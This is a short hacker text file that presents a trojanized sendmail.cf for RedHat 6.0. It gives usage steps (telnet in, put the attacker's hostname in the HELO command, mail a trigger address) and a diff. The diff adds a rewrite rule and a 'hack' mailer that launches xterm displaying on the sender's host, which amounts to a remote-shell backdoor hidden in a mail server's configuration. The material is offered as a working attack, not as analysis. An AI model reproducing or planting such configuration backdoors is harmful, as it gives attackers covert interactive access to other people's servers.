######################
# Sendmail.cf Trojan
# Made by naif
# naif@itapac.net
######################

This is based on original sendmail.cf shipped with RedHat 6.0 on i386


- How to use
  telnet to the trojanized box, and put the hostname you want to receive the
  xterm in the HELO command.
  After go on in sending mail...
  mail from: whatever@you.want.com
  rcpt to: fuckyou@localhost
  data

  .
  quit


- Little explanation on how it work
 
  Sendmail has it's own language for rewriting addresses, handling e-mail routing
  and other features within sendmail.cf .
  It's famous for it's difficult, but it's not completly true if you have good 
  documentation.

  This is the output of 'diff sendmail.cf.orig sendmail.cf.troj' :

# 1) Part
# Here we define the Class(Like Array) of k
85a86,87
> # Trojan Class definition
> Ckfuckyou
# 2) Part
# here in Rules S0 we place a condition
# LHS				RHS			Comment
# If the format of e-mail is:  "one of element in Class k"@Something
# then deliver through hack mailer, assign $2 to host and $1 to username
605a608
> R$=k < @$* > $*		$#hack $@ $2 $: $1	Trojan Mailer redirect
# 3) Part
# This is important, here we define the action... we send an xterm to sender host
1157a1161,1164
> 
> # Trojan Mailer
> Mhack,          P=/usr/X11R6/bin/xterm, F=FMAlsSux, S=10/30, R=0, D=$z:/,
>                 A=xterm -display $s:0.0
